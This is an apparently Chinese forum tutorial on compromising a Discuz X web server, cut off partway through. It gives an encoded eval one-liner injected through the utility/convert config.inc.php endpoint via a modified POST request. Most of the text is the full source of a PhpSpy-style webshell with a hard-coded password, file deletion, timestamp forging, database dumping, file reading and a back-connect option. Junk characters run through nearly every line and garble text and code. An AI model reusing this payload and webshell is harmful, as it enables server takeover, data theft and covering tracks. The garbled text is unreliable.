|
攻击思路:
3 K% b' e' y& L6 s, ]: ~5 I3 b; \想要拿下一台主机A的权限:
. H" ^5 l8 B1 Z; |1 i3 v: U) t1、了解一下这个服务器:端口,服务器版本,操作系统版本。找漏洞
# a$ W) I' u# M% y ~ _! b" l8 e2、拿到对A有一定权限的身仹。如果对方是一个WEB服务器,就利用对方网站应用程序的漏洞,上传webshell然后提权4 M- @* g; N5 W
3、传上去后,得到apache用户普通权限,再提权成root8 w$ D3 L5 S# a8 R& Z
概述:
8 Z+ v/ ?. t& ^4 f M& F, @* O这突破在一个DZ X系列自带的转换工具里面。% Z/ k" H% V' U9 n8 w) c! ?
漏洞路径:utility / convert / data / config.inc.php
- Q% `( ]1 s7 k6 R ~1 @6 p* ~漏洞发生的原因是:config.inc.php这个文件在黑客通过post写入时,无仸何过滤检测,所以通过post方式往config。inc.php中写木马程序。
/ C. ^' b( x9 _2 F; O触发突破过程:
% E3 o, s8 m7 _$ Y' s! V1、在浏览器中访问打开http://192.168.1.63/utility/convert/index.php . _, g- w/ P I& W
2、使用/utility/convert/index.php迚行版本转换3,config.inc.php文件没有做过滤,可以使用POST方法对config.inc.php注入木马程序
' D. ?" _" c% y' G0 p. i5 {/ f攻击过程:
! V d# o5 Q8 Z1、打开burp设置报文拦截,然后使用浏览器访问http://xxxxxxx.cn//utility/convert/! t9 G& p# }0 u. C3 e
- f5 U/ x @; r
. L7 x* Z' ^# G+ g
2,右键单击空白处,选择发送到中继器,将报文发到中继器 
3、然后在中继器中查看信息: 
4、修改第一行:GET /utility/convert/index.php?a=config&source=d7.2_x2.0 HTTP / 1.1将第一行内容修改为: POST /utility/convert/index.php?a=config&source=d7.2_x2.0&newconfig[aaa%0a%0deval(CHR(101).CHR(118).CHR(97).CHR(108).CHR(40).CHR(34).CHR(36).CHR(95).CHR(80).CHR(79).CHR(83).CHR(84).CHR(91).CHR(99).CHR(93).CHR(59).CHR(34).CHR(41).CHR(59));//]=aaaa&submit=yes这是一个经过加密的一句话木马解密后内容如下: POST /utility/convert/index.php?a=config&source=d7.2_x2.0&newconfig[aaa eval("$_POST[c];"););eval()凼数中的eval是评估的简称,这个凼数的作用就是把一段指向PHP语句来执行 
5、修改完成后发送数据包 
6、刚刚上传的文件路径:http://xxxxxx.cn/utility/convert/data/config.inc.php 代码详细: 
可以看到和我们修改提交的参数类似。而且多了很多^ M符号。 扩展:^ M符号^ M字符的来历和作用:在DOS/Windows里,文本文件的换行符为\r \n,而在linux系统里则为\n,所以DOS/Windows里编辑过的文本文件到了linux里,每一行都多了个^ M。所以^ M只是一个换行符号,没有实际的用处,我们可以将它保留,也可以将它删除,%0a%0d等于\r\n 7、祭出祖传的中国蚁剑连接刚才上传的一句话木马
! l; d# A8 G0 y3 B. Y% o- y9 G5 x1 v6 @ 1 i1 l2 _. _8 U$ u! W* e) U4 \
8、通过中国蚁剑上传大码: I8 ?+ A1 t7 m

% k9 F# @$ j* H# o6 W1 {. j- t2 X " D- l! w; c/ H. R3 I5 v. M
10、任意机器访问我们的webshell2.php木马文件,浏览器输入http://xxxxxx.cn/utility/convert/data/webshell2.p hp输入密码:cmd webshell代码如下: - <?php
8 V! o4 Q4 U& Q8 }7 ~ -
! C% x1 l9 ^% s- ~/ Q1 J* c - /*****************************************************************************
. Y( Z* r9 c- d) G4 j - 2 Y+ k8 u F, e1 h
- ===================== 请误用于非法用途,造成一切后果与本人无关。====================
$ y8 F& y# W& k -
: `* q) ^& l& U: @" }1 ?) I# Q - ====5 T1 ^* [/ {& D4 ]
-
" K6 i9 Q# i3 `* ?5 v - & O7 U$ m2 W; F% T
- *****************************************************************************/4 r/ ?$ w! \% U X
- ) w9 m9 o, i( z# c; j$ j' \
- error_reporting(7);
6 E5 k# [% ~+ \; y: Y, v$ w+ p - @set_magic_quotes_runtime(0);$ s9 i6 P/ H, w: z' m
- ob_start();: x3 F) ]0 L% Z0 w6 i
- $mtime = explode(' ', microtime());1 n a' v6 e0 c# v* c4 e4 }; I: k
- $starttime = $mtime[1] + $mtime[0];
' Q/ u5 ~6 F- p3 W+ A; |2 l% R - define('SA_ROOT', str_replace('\\', '/', dirname(__FILE__)).'/');+ @" ?6 [0 T2 l8 D3 r# J0 v6 N
- //define('IS_WIN', strstr(PHP_OS, 'WIN') ? 1 : 0 );
" @3 ?4 J2 h& V+ e - define('IS_WIN', DIRECTORY_SEPARATOR == '\\');
% T& h% F1 N5 A6 j - define('IS_COM', class_exists('COM') ? 1 : 0 );1 n4 x) q8 {' J
- define('IS_GPC', get_magic_quotes_gpc());
+ X* Z- l* P. U6 L+ c; g0 P - $dis_func = get_cfg_var('disable_functions');
# s5 b- T$ R; B+ ?# `* y( j- ] - define('IS_PHPINFO', (!eregi("phpinfo",$dis_func)) ? 1 : 0 );8 D* B" ^; J- c& ^
- @set_time_limit(0);
9 f9 K( R/ W4 f# w$ U9 x - ' E* \4 _9 \8 B1 ^$ F- D' s
- foreach(array('_GET','_POST') as $_request) {
, }% o. W7 Q2 c0 x! ^" G - foreach($$_request as $_key => $_value) {
0 \- @& V9 t$ P - if ($_key{0} != '_') {
3 u% w- M5 k K) A! s - if (IS_GPC) {3 v9 n" e/ b+ k* S& Q: K% N& s9 Z
- $_value = s_array($_value);
$ v2 D, A* h5 p$ l5 O4 O5 w - } h- i2 e' m% t* Z0 `3 Q. C
- $$_key = $_value;- N! r- x/ I% e; j2 g
- }) W' [7 g# N: u9 R! ~
- }: A+ Y$ {. @+ X4 c+ Q% m6 p
- }9 c9 \! R5 V$ y* Q5 O, l' M
- + r. {8 a9 s, @$ W/ s: _# u
- /*===================== 程序配置 =====================*/
6 Q$ e# f/ W2 b( H" ]8 A$ x - $admin = array();
2 I! X% E- J! j- ` - // 是否需要密码验证, true 为需要验证, false 为直接进入.下面选项则无效% H1 Z. a/ _9 I. l( Y3 e
- $admin['check'] = true;
2 E) a+ X* v N+ T2 b0 F9 T( Z - // 如果需要密码验证,请修改登陆密码 s& U! M, `' Q9 }% u
- $admin['pass'] = 'xuegod';8 v, w! O( S! U" z8 |% |
- ' J! i. I; M4 t; c. q5 |/ F
- //如您对 cookie 作用范围有特殊要求, 或登录不正常, 请修改下面变量, 否则请保持默认
: @& y1 m: h! g7 f$ ]6 j - // cookie 前缀
" W3 D8 b# G' c1 d" U6 H. Q - $admin['cookiepre'] = '';2 G3 D3 S1 D0 p$ o. m
- // cookie 作用域* K# h" y8 o4 v2 ~5 e% z
- $admin['cookiedomain'] = '';
' e- D2 J+ Q/ L9 q - // cookie 作用路径+ G3 q) O3 H( r& m
- $admin['cookiepath'] = '/';' A) m2 E. }& M; h8 H
- // cookie 有效期0 |0 W/ F# l7 [6 P
- $admin['cookielife'] = 86400;" q5 h$ z& E3 x: b! h8 V
- /*===================== 配置结束 =====================*/4 u1 Z& `8 c" z1 d9 x
- 4 Z6 y' }* m! w0 ]8 H6 C( `! D! q
- if ($charset == 'utf8') {# \2 M) }& r. x! a" B8 C( D* N5 n
- header("content-Type: text/html; charset=utf-8");; V) q N! _6 k
- } elseif ($charset == 'big5') {( ]/ G3 P& W; D! s2 C% o/ p& s
- header("content-Type: text/html; charset=big5");
7 z8 l' |9 M' g1 |7 U - } elseif ($charset == 'gbk') {
. ^, Q3 G" _/ `9 H3 x) A! o - header("content-Type: text/html; charset=gbk");
$ V( g$ w. `# E' X+ | - } elseif ($charset == 'latin1') {7 ^4 q) @4 |4 d8 N9 C
- header("content-Type: text/html; charset=iso-8859-2");
3 L0 R( c4 ]- t - }
- |4 I4 y g2 Q7 T( j -
) N9 s+ ~6 s+ e - $self = $_SERVER['PHP_SELF'] ? $_SERVER['PHP_SELF'] : $_SERVER['SCRIPT_NAME'];
( D/ Z2 Q- ^+ }8 c - $timestamp = time();
O* i- D) C- ? Y" f3 P: O2 Z -
2 H. t1 o3 y/ S, ^9 e - /*===================== 身份验证 =====================*/$ _7 ~+ r# N" N$ o' j! p3 {
- if ($action == "logout") {7 {$ ]1 f& K. q2 ?4 D
- scookie('phpspypass', '', -86400 * 365);- g8 t% y- d1 J5 ]
- p('<meta http-equiv="refresh" content="1;URL='.$self.'">');
6 E5 T# _4 ?& _% C! E9 A9 ~# \/ ~6 y3 ^ - p('<a style="font:12px Verdana" href="'.$self.'">Success</a>');3 O8 ^4 E8 \7 y" `" r
- exit;( k! R3 C" L* |1 D: C [
- }
2 q7 R. d+ S, D" s7 i3 z - if($admin['check']) {+ \, A, O3 H: s; l' X y2 y- r6 f
- if ($doing == 'login') {4 M; U" o2 y" K7 h& p
- if ($admin['pass'] == $password) {& E2 ?) ? h7 o/ I3 x0 p. J
- scookie('phpspypass', $password);% Q. t! x8 A5 ]1 t* ~
- p('<meta http-equiv="refresh" content="1;URL='.$self.'">');
/ T. q/ R) D% S* ^! \, Z - p('<a style="font:12px Verdana" href="'.$self.'">Success</a>');
2 q* F3 d: Z2 S' ^" q9 V - exit;3 W7 d! l( K7 c/ w$ `! e6 Q u
- }
$ e; I" f1 H8 M - }
/ d. i% e: m8 t& C - if ($_COOKIE['phpspypass']) { {1 e" a* a) E* E$ D
- if ($_COOKIE['phpspypass'] != $admin['pass']) {
! f4 Q: P) X6 h0 w& a4 I. A5 d - loginpage();
' E9 {0 q. }& j+ Z# `9 a - }2 W/ [/ X5 i$ B) ~3 n- f
- } else {8 K7 V `. d" m# ~" |1 y1 ~
- loginpage();2 H. U' W6 z6 N# U4 k o6 L* J) |
- }
) @" w9 M! @7 C, w - }: @- L- B3 I8 B# D! _$ u5 j& p
- /*===================== 验证结束 =====================*/8 b! @+ o5 F Z( ?, _- a
-
: @7 v# ]' {7 l - $errmsg = '';$ {$ F; T6 ^2 b1 e* k3 P
-
* a% ~% H: Q* A3 w - // 查看PHPINFO
! d8 P" d3 @9 h7 g: } K - if ($action == 'phpinfo') {
5 V4 z; {' P* w2 h - if (IS_PHPINFO) {, S6 w" n8 _3 Z* Z
- phpinfo();* K) F }; U( K) c+ i6 e0 f# g
- } else {
6 i% G! K& X2 I: @ - $errmsg = 'phpinfo() function has non-permissible';; L' S$ t+ M4 F
- }
, N5 S9 P9 G' x: v$ U - }
8 G" [9 T: D% }2 G3 m+ y4 m -
' M- _* ?: @& m6 I3 L2 l - // 下载文件: ^/ H! Q( x |4 G# j% d; j
- if ($doing == 'downfile' && $thefile) {
0 }" I9 Z8 X2 B, u - if (!@file_exists($thefile)) {
; m9 b6 P6 ?5 b4 O4 q; o$ E3 H& Y - $errmsg = 'The file you want Downloadable was nonexistent';. M9 t) P. b* k* @, `# {. L! `" ^
- } else {- m& ]4 e; h/ @
- $fileinfo = pathinfo($thefile);
, o! v$ ]! x9 n4 r: ?/ Y/ j$ Q - header('Content-type: application/x-'.$fileinfo['extension']);
2 r6 F& k0 ^ n: E8 g. L - header('Content-Disposition: attachment; filename='.$fileinfo['basename']);# Y. p- @) d/ q2 x5 W3 k5 \8 l
- header('Content-Length: '.filesize($thefile));
$ p9 F* b. h$ b - @readfile($thefile);4 P8 V6 G" i! [8 d$ t t( `$ p
- exit;
. u4 Z. n5 @2 c - }
3 E4 j( J0 y( [+ ], _; k - }& U! Q# I( U/ z
- 5 g- M- s& T1 s) \9 T" C2 _
- // 直接下载备份数据库 l3 B3 n+ ^ E
- if ($doing == 'backupmysql' && !$saveasfile) {
1 b6 v4 l4 D8 J7 B9 l/ }3 H - dbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport); |0 I- k( A2 E, _. N
- $table = array_flip($table);
$ G, C8 J$ n" J/ H! `3 C$ N9 [ - $result = q("SHOW tables");
$ k$ E0 b, f0 Y/ Y/ O7 H - if (!$result) p('<h2>'.mysql_error().'</h2>');
3 g: y- U% ?1 l - $filename = basename($_SERVER['HTTP_HOST'].'_MySQL.sql');; X. v7 P; M# L- g8 I. x& N0 x
- header('Content-type: application/unknown');6 b1 {/ z7 C! K' r
- header('Content-Disposition: attachment; filename='.$filename);
! n+ N$ e. U: F2 s6 _- o - $mysqldata = '';
# t8 a, [9 o4 M) v- f4 F( s - while ($currow = mysql_fetch_array($result)) {
" u7 s' u- R. ]7 k- \: Y9 X: ` - if (isset($table[$currow[0]])) {+ D5 e) V) H8 w8 p/ n$ S j
- $mysqldata .= sqldumptable($currow[0]);; O( Q" r0 l) j
- }
2 d/ L0 S- T$ {, Y, t - }
4 K; e) k; p9 }2 U# b - mysql_close();! w4 B, T0 ?: G" @2 a2 E
- exit;
& p0 L% b" C8 m0 e0 B& U - }
3 S- ]3 V) R8 ?+ c# A/ ?6 b -
. Q( o1 a2 `$ K: u% S - // 通过MYSQL下载文件
8 q7 S+ b( S, n3 M - if($doing=='mysqldown'){
+ `" y5 m4 e W3 k3 g" a! E- c) ? - if (!$dbname) {
. ]& ^7 S- K! @) ~7 b - $errmsg = 'Please input dbname';
% [% |( u3 q* V - } else {! Q% }5 o) s% z V0 |1 W9 J
- dbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport);
8 d, E8 c$ H0 z$ ^( S/ f - if (!file_exists($mysqldlfile)) {" _. m& b8 t8 F
- $errmsg = 'The file you want Downloadable was nonexistent';
/ d2 d$ \7 b% Y; [$ O7 [8 y - } else {4 _6 y7 o& `- G1 `9 X
- $result = q("select load_file('$mysqldlfile');");
/ v1 {2 z- L; g2 `$ `8 \ - if(!$result){
2 C1 ?2 O" j# [5 M' v& e9 F& A1 ^ - q("DROP TABLE IF EXISTS tmp_angel;");
( i+ n- F6 @" S. E0 T2 _3 _ - q("CREATE TABLE tmp_angel (content LONGBLOB NOT NULL);");
, u/ x9 M, Q- W& Y - //用时间戳来表示截断,避免出现读取自身或包含__angel_1111111111_eof__的文件时不完整的情况
/ x/ ^1 ?$ l9 E. Q! X - q("LOAD DATA LOCAL INFILE '".addslashes($mysqldlfile)."' INTO TABLE tmp_angel FIELDS TERMINATED BY '__angel_{$timestamp}_eof__' ESCAPED BY '' LINES TERMINATED BY '__angel_{$timestamp}_eof__';");
# ^2 b' G* Y5 q2 H( U - $result = q("select content from tmp_angel");
4 ?2 A1 _' w4 G0 h# }9 { - q("DROP TABLE tmp_angel");
4 w: M) }2 Y2 @* X2 P - }
/ ?3 _4 j1 D2 S' Z O - $row = @mysql_fetch_array($result);3 |6 S1 G: j8 w3 W3 ^8 F
- if (!$row) {2 p( B- J2 \/ x, D3 y& h
- $errmsg = 'Load file failed '.mysql_error();
& U. `" O* b& T - } else {+ |1 P: M" J7 z! i8 S9 r
- $fileinfo = pathinfo($mysqldlfile);8 K$ {- \; K* [" r( }; I
- header('Content-type: application/x-'.$fileinfo['extension']);
4 v3 o( W' B! }( x% I - header('Content-Disposition: attachment; filename='.$fileinfo['basename']);; X- i2 G, W T, I9 e
- header("Accept-Length: ".strlen($row[0]));
0 F3 c) `+ \9 n- `& r - echo $row[0];) v& X! ]* h0 L5 U7 J% l5 R! s
- exit;
# o; ? Q6 n" u; o2 Q& \1 V - }
6 ]; z2 F+ M% _# B O2 R9 s - }
- }& D) r1 k6 P. N7 a; I+ u' G) H! A( ] - }
7 u% ` {6 g7 i8 T - }; j0 q; B5 d$ H' ~
- / J5 w9 a" a4 \7 @8 p2 w2 a6 R: V& N
- ?>& ^- {4 D6 F( X) N. h
- <html># Y6 ]. N' f3 a+ u
- <head>4 I5 F* p: A: k+ R4 H
- <meta http-equiv="Content-Type" content="text/html; charset=gbk">
! s* i& K; ?' [# w- P2 Q9 ^ - <title><?php echo str_replace('.','','P.h.p.S.p.y');?></title>! g; X2 v, ~1 W; y: c1 B
- <style type="text/css">
7 ^, D8 X, I4 |* J7 J( ? - body,td{font: 12px Arial,Tahoma;line-height: 16px;}7 J1 ^. m1 ? F6 b( B8 H
- .input{font:12px Arial,Tahoma;background:#fff;border: 1px solid #666;padding:2px;height:22px;}
* M8 a% j, n6 _: y - .area{font:12px 'Courier New', Monospace;background:#fff;border: 1px solid #666;padding:2px;}/ M0 J, |1 x( E- n3 i
- .bt {border-color:#b0b0b0;background:#3d3d3d;color:#ffffff;font:12px Arial,Tahoma;height:22px;}; h5 \1 ]% _) r) E5 W3 J
- a {color: #00f;text-decoration:underline;}
# V" d( ^) Y# G. q1 d6 A' S" [ - a:hover{color: #f00;text-decoration:none;}6 O4 s4 \" [" P; [: T
- .alt1 td{border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#f1f1f1;padding:5px 10px 5px 5px;}
" A# I3 q" X& L) D# ]- A8 L; z - .alt2 td{border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#f9f9f9;padding:5px 10px 5px 5px;}6 T" k: ^0 h% K! |! p( M3 c
- .focus td{border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#ffffaa;padding:5px 10px 5px 5px;}) n/ h2 b( j9 V8 h4 h) F, g4 e
- .head td{border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#e9e9e9;padding:5px 10px 5px 5px;font-weight:bold;}
$ K h8 r! Q2 _ - .head td span{font-weight:normal;}. M3 P! ?7 M- I. ^* F
- form{margin:0;padding:0;}& v. {$ t) h- b B: P
- h2{margin:0;padding:0;height:24px;line-height:24px;font-size:14px;color:#5B686F;}9 i; J& F. I( S/ {' {( I
- ul.info li{margin:0;color:#444;line-height:24px;height:24px;}. I6 f3 Q5 Q5 U$ P* f" ]# A
- u{text-decoration: none;color:#777;float:left;display:block;width:150px;margin-right:10px;}
* K5 n- |+ {0 V( x2 _. z - </style>$ _4 e- z; @6 C5 `
- <script type="text/javascript">! p7 C' [# a0 z9 v
- function CheckAll(form) {9 K! q( C4 \2 G" P
- for(var i=0;i<form.elements.length;i++) {
" [' C6 I" v2 ~$ I, E - var e = form.elements[i];5 ~% r4 }6 ]+ @
- if (e.name != 'chkall')
0 J& Q1 i& _( W2 A& u& @9 D - e.checked = form.chkall.checked;
3 F+ i1 c% n- [7 R8 S2 n - }' `% `; e& T- q" x) |& r* u, w
- }0 \" `! h( W7 k. G
- function $(id) {" y) _& _$ |* l/ c6 \6 J0 Q( @; I
- return document.getElementById(id);3 m, g" R, ^! J! K8 r: I5 v7 r) u1 n; z
- }
/ l1 ~' m! ?" n; b( i7 ` - function goaction(act){
# R; P* ]3 ]4 E& ] K7 `4 w' k R. J# e - $('goaction').action.value=act;6 `/ S |0 x. p, W* e! Z1 [" _
- $('goaction').submit();% J5 {" m: }/ M' p
- }
! B4 f1 X, k. {6 D) f l m- O& D# I1 ^5 | - </script>
; j; P' p+ d7 s3 ?7 {- R9 g - </head>2 b2 `% a% |# F- s9 ~6 r
- <body style="margin:0;table-layout:fixed; word-break:break-all">
8 D. n6 ?% d$ C/ ^ - <table width="100%" border="0" cellpadding="0" cellspacing="0"> q0 F6 ~# V3 B4 e0 ?3 x
- <tr class="head"># R9 X7 {& e9 X6 h, h5 I
- <td><span style="float:right;"><a href="http://www.4ngel.net" target="_blank"><?php echo str_replace('.','','P.h.p.S.p.y');?> Ver: 2008</a></span><?php echo $_SERVER['HTTP_HOST'];?> (<?php echo gethostbyname($_SERVER['SERVER_NAME']);?>)</td>
: w' V! a$ y; {9 q2 N - </tr>7 G3 y1 E" t. Y- ^
- <tr class="alt1">
& T+ Q# ]! q# \( I# z; P) L - <td><span style="float:right;">Safe Mode:<?php echo getcfg('safe_mode');?></span>
+ z# Y) o& R9 N. c- O - <a href="javascript:goaction('logout');">Logout</a> | 0 J A. u- Q, F2 \
- <a href="javascript:goaction('file');">File Manager</a> |
4 L) \! f* T3 X( o1 } - <a href="javascript:goaction('sqladmin');">MySQL Manager</a> | ! G; K1 C) _ n& }% x- W" ]
- <a href="javascript:goaction('sqlfile');">MySQL Upload & Download</a> |
/ B8 z, t$ ]0 y/ j - <a href="javascript:goaction('shell');">Execute Command</a> |
/ h2 @+ M8 {, C2 h3 M$ e9 @ - <a href="javascript:goaction('phpenv');">PHP Variable</a> |
: s( F) q3 P, B ^1 t* _) Z0 c - <a href="javascript:goaction('eval');">Eval PHP Code</a>7 V# |" e6 \* j$ w! ^, w3 a2 G6 ^
- <?php if (!IS_WIN) {?> | <a href="javascript:goaction('backconnect');">Back Connect</a><?php }?>
# J- f v2 l/ k+ |2 X - </td>. M8 ^- ]# L6 p1 c6 y4 [/ _& _" N
- </tr>+ p7 ^- T/ z. ]9 |
- </table>2 T: B# t1 i9 ?8 K- f
- <table width="100%" border="0" cellpadding="15" cellspacing="0"><tr><td>! a9 f# |; ~: S: y8 @7 ? k
- <?php
5 g2 M' b* {- i, d3 s9 _0 G - 8 r) u* ~' `2 I, |( g, g( W
- formhead(array('name'=>'goaction'));
' E, l# f: i4 l5 i F - makehide('action');. l! J- J3 N% w0 E
- formfoot();2 t5 A: u$ l6 O; `$ T7 f4 N. M
-
% \3 U1 h ` \$ i/ O - $errmsg && m($errmsg);
. I5 |- H! F4 [ \ -
% E3 Z0 @ B& S5 m - // 获取当前路径8 |$ b& L; J5 y! x% u
- !$dir && $dir = '.';2 [/ q. I7 F* e; X$ k- k
- $nowpath = getPath(SA_ROOT, $dir);$ u. ^$ |3 B% f* r/ c
- if (substr($dir, -1) != '/') {% G8 G9 b; g, }" ] @* n* H5 ?
- $dir = $dir.'/';9 a' G( D$ m2 M. f0 O
- }
1 r- k# Z8 j s1 x# p3 b - $uedir = ue($dir);0 g$ P6 W; q$ h" Y4 E- f
- % s% Z# z+ n V/ f, K' T
- if (!$action || $action == 'file') {- J m) H+ _3 N" Y4 |0 _. r
- $ v8 c$ h H& b8 k0 q/ h! Q; R
- // 判断读写情况
9 a5 D/ } f: J: X! R - $dir_writeable = @is_writable($nowpath) ? 'Writable' : 'Non-writable';
d0 A- F/ h U% j - # \7 L2 @. u; T6 g2 g$ R0 s# u [
- // 删除目录: T4 L6 s2 n+ n
- if ($doing == 'deldir' && $thefile) {- B9 w- {8 l e- \4 q' s" t
- if (!file_exists($thefile)) {, B5 ^0 S% h& r$ K9 v. o
- m($thefile.' directory does not exist');
/ f. X/ U5 B0 I# S- l4 w - } else {5 S. x J6 C H5 D& G
- m('Directory delete '.(deltree($thefile) ? basename($thefile).' success' : 'failed')); j8 _ l* t, n
- }
4 w* F' i4 |+ U2 b- L3 u: u - }
# d7 f) ?+ e) N, N9 y2 m* b - 5 K; K% @) E; j+ t v; B/ ~7 N
- // 创建目录6 I0 J7 S0 w: b) I% [
- elseif ($newdirname) {5 h6 Z! o i3 e' i7 Y
- $mkdirs = $nowpath.$newdirname;
" H! M- g! m2 D# M) T/ J - if (file_exists($mkdirs)) {/ K& {3 i5 I- ^( F! ]
- m('Directory has already existed');
0 O L0 v8 a7 [2 k/ \ G - } else {: i9 @# ~& g6 I
- m('Directory created '.(@mkdir($mkdirs,0777) ? 'success' : 'failed'));9 v; G M2 G4 @9 V5 S
- @chmod($mkdirs,0777); \- M, p4 E3 c. l: D. m( ^
- }4 b6 _! z# b& }; v, i( w! s) L
- }2 q) n8 }. R6 h# b9 K& r
- , [2 \8 m& l' M# s* v8 d; F' ]
- // 上传文件
4 C6 l* ~% E+ Z. ?9 l - elseif ($doupfile) {. P+ h) e, R0 a
- m('File upload '.(@copy($_FILES['uploadfile']['tmp_name'],$uploaddir.'/'.$_FILES['uploadfile']['name']) ? 'success' : 'failed'));( U) `7 B* p% v$ l% q; j; y
- }
2 p5 M& E: x, R' z3 a$ j0 I! G - 4 l& {# A& i2 v
- // 编辑文件- f/ p. \0 X' ~, x" h
- elseif ($editfilename && $filecontent) {
/ g/ s. b: i. z+ n. i. B - $fp = @fopen($editfilename,'w');
% W3 A8 a p1 t8 X - m('Save file '.(@fwrite($fp,$filecontent) ? 'success' : 'failed'));/ k; x& ] k1 @3 I9 x. g
- @fclose($fp);
0 F# c$ K' ^2 o5 a7 S! ] - }; t `& n! O; t. Y
-
; x; [1 D/ t( L - // 编辑文件属性
) w7 J/ L: Z* q; G - elseif ($pfile && $newperm) {3 J7 P: \. q1 {; `
- if (!file_exists($pfile)) {
0 q! G0 e# M4 t; w0 v - m('The original file does not exist');0 N F/ e# m6 F8 O
- } else {+ U, t0 e$ K/ l5 ?% o
- $newperm = base_convert($newperm,8,10);
* V- y& ~$ ?! h - m('Modify file attributes '.(@chmod($pfile,$newperm) ? 'success' : 'failed'));
; G$ `( e; {0 h3 f6 N# {$ N* |5 b - }
; `" u1 Z5 M. k5 j) n, t - }
6 {3 q6 }3 `3 j# A* j - % U/ B# C1 d6 T* I. ?# @. n4 |1 `! _
- // 改名
% Y, d6 Q1 U, r5 z j" Z+ }8 a0 _ - elseif ($oldname && $newfilename) {3 ~4 Y7 d' c/ l$ S& @/ Y4 s1 v
- $nname = $nowpath.$newfilename;# u% `5 I% Y, l" K5 Y
- if (file_exists($nname) || !file_exists($oldname)) {/ H- A; K# u9 J
- m($nname.' has already existed or original file does not exist');
3 W+ `. w" r6 V9 e0 ~ - } else {
1 t* e0 ?; C- }+ g - m(basename($oldname).' renamed '.basename($nname).(@rename($oldname,$nname) ? ' success' : 'failed'));
3 P* j6 J+ K; p - }5 @% o5 S9 e, C
- }
1 w! Y( N: q# f$ }$ s1 c" `& z - . O0 |% I: s* l9 y* w, d; Q; h
- // 复制文件
- u/ }7 U' d9 z, a, H3 U - elseif ($sname && $tofile) {
9 z2 ~1 g# x c% _) b: b- ^, L - if (file_exists($tofile) || !file_exists($sname)) {8 H- [7 F+ D8 N3 P/ M6 w6 E3 j# I2 O
- m('The goal file has already existed or original file does not exist');
- N3 M- b. `# ? - } else {
0 V d' L) r5 x- g3 w2 b - m(basename($tofile).' copied '.(@copy($sname,$tofile) ? basename($tofile).' success' : 'failed'));
7 |+ Z. P5 ?: y% k7 m' Y9 \0 i; M/ C6 w - }
; s) u; M' @0 a, r/ _8 {: }: v - }
( y" M% p& i! x% C5 w" P5 x* }* ` - . T: B) r* a5 p2 `* H }) J9 z& J
- // 克隆时间8 }' r+ P. ]/ u
- elseif ($curfile && $tarfile) {
* G4 x! d; m7 U% c, q - if (!@file_exists($curfile) || !@file_exists($tarfile)) {+ R# z/ A( a* c$ E I; S! @
- m('The goal file has already existed or original file does not exist');" y( @3 X0 {9 m
- } else {
9 s/ e/ A6 c: {! K7 e9 ~ - $time = @filemtime($tarfile);2 t0 [4 `: I; }7 ]) F# d* S& w8 ~
- m('Modify file the last modified '.(@touch($curfile,$time,$time) ? 'success' : 'failed'));$ f; m* ?$ B9 j7 U. E! h/ T/ G
- }
. ^- O2 C5 B" V, _! p( h! c - }. F$ l- e" @, v
-
* r. L& p. u+ y9 w7 P - // 自定义时间
2 D5 _$ e' a( H9 |* Z1 i - elseif ($curfile && $year && $month && $day && $hour && $minute && $second) {
! f! c b7 x9 E: Z - if (!@file_exists($curfile)) {
9 D! {7 V3 [& b' ]. w2 r$ C1 S$ K - m(basename($curfile).' does not exist');- Y, b) M" T0 B- J; Y
- } else {
, u4 n. {; t9 ~3 H6 B - $time = strtotime("$year-$month-$day $hour:$minute:$second");/ d' V* [" u* j; z! i: b" U
- m('Modify file the last modified '.(@touch($curfile,$time,$time) ? 'success' : 'failed'));7 j; ~( e1 a6 D; C% I: ?& x
- }
) i% [- B# m; W3 q( L( R( {0 Z( T - } N' t& n0 I7 W6 u* w
- , \: N. ]0 U/ |5 Y$ J4 U
- // 打包下载) i u: L3 o) | c+ Y, i# A3 p1 E
- elseif($doing == 'downrar') {0 L t9 m( M6 Z
- if ($dl) {" H" H$ C( \1 i
- $dfiles='';
5 s2 d/ R p' \9 M1 G* }# n- I - foreach ($dl as $filepath => $value) {. y3 B" D# x' @7 E( h3 J
- $dfiles.=$filepath.',';7 O& u8 ~% k) q/ X6 T7 N V
- }
" n- F* k% K5 X r- q; R - $dfiles=substr($dfiles,0,strlen($dfiles)-1);
5 C9 _/ }# A& T) v) m. @3 p - $dl=explode(',',$dfiles);! M% u; u0 J5 z- x6 U/ [
- $zip=new PHPZip($dl);
G, H( z, F. j - $code=$zip->out;
' A/ |2 L6 j* o% \9 }, b+ }3 F4 d - header('Content-type: application/octet-stream');- u& g9 ?! e2 s
- header('Accept-Ranges: bytes');
U5 p6 z- ^, \' c3 f( x" h( Z - header('Accept-Length: '.strlen($code));" a9 v% b2 y2 O) O
- header('Content-Disposition: attachment;filename='.$_SERVER['HTTP_HOST'].'_Files.tar.gz');; ~ I9 E9 N$ T
- echo $code;4 d; Q, s1 e' b. E0 G
- exit;
) N3 I2 M- [' Z9 I - } else {
7 v% M; b. T1 D2 M) Z/ E! ]5 q4 a - m('Please select file(s)');- a; D5 Y5 T3 M, ?
- } g) l) N: ^$ A. P
- }
( o$ n' r) H: y) w) D -
- \1 F. J6 _ J/ W - // 批量删除文件
4 p V& q! W6 c9 o2 }( ^1 S `" B - elseif($doing == 'delfiles') {. ~, R" e. l- S
- if ($dl) {: `' @# _ |9 A0 t, d& \
- $dfiles='';
3 |' u0 f! }* g) W - $succ = $fail = 0;
3 F2 Q8 c9 C2 f- R5 K, r4 x - foreach ($dl as $filepath => $value) {
U. J% [9 A. u* @$ {- _ - if (@unlink($filepath)) {
j: W6 [4 f+ {; Z: U - $succ++;
6 s6 k0 T( @# @* x6 K; f - } else {
) T. n0 |! I0 ]: [ - $fail++;2 H2 O& _5 W# D9 U! o& Q
- }
; T2 _* g% l5 F2 ?' ], G - }
- C$ {6 ~" o% f - m('Deleted file have finished,choose '.count($dl).' success '.$succ.' fail '.$fail);$ m2 a: W& p: e. A6 h. u2 J
- } else {2 p6 v% y! q6 E+ w5 J
- m('Please select file(s)');
I6 D+ X1 E! Q6 l" n$ F! e, K - }$ V6 g3 V' J8 l0 s( L
- }
% R7 k: V* D6 [4 n( q* _! o - * K, x2 x5 X% s8 H% e& I
- //操作完毕
$ F4 |6 k' z% o% Q% z - formhead(array('name'=>'createdir'));( A# W1 r2 X* s) o+ f9 e5 i7 f
- makehide('newdirname');* W& {/ o, n9 I3 i$ G. {
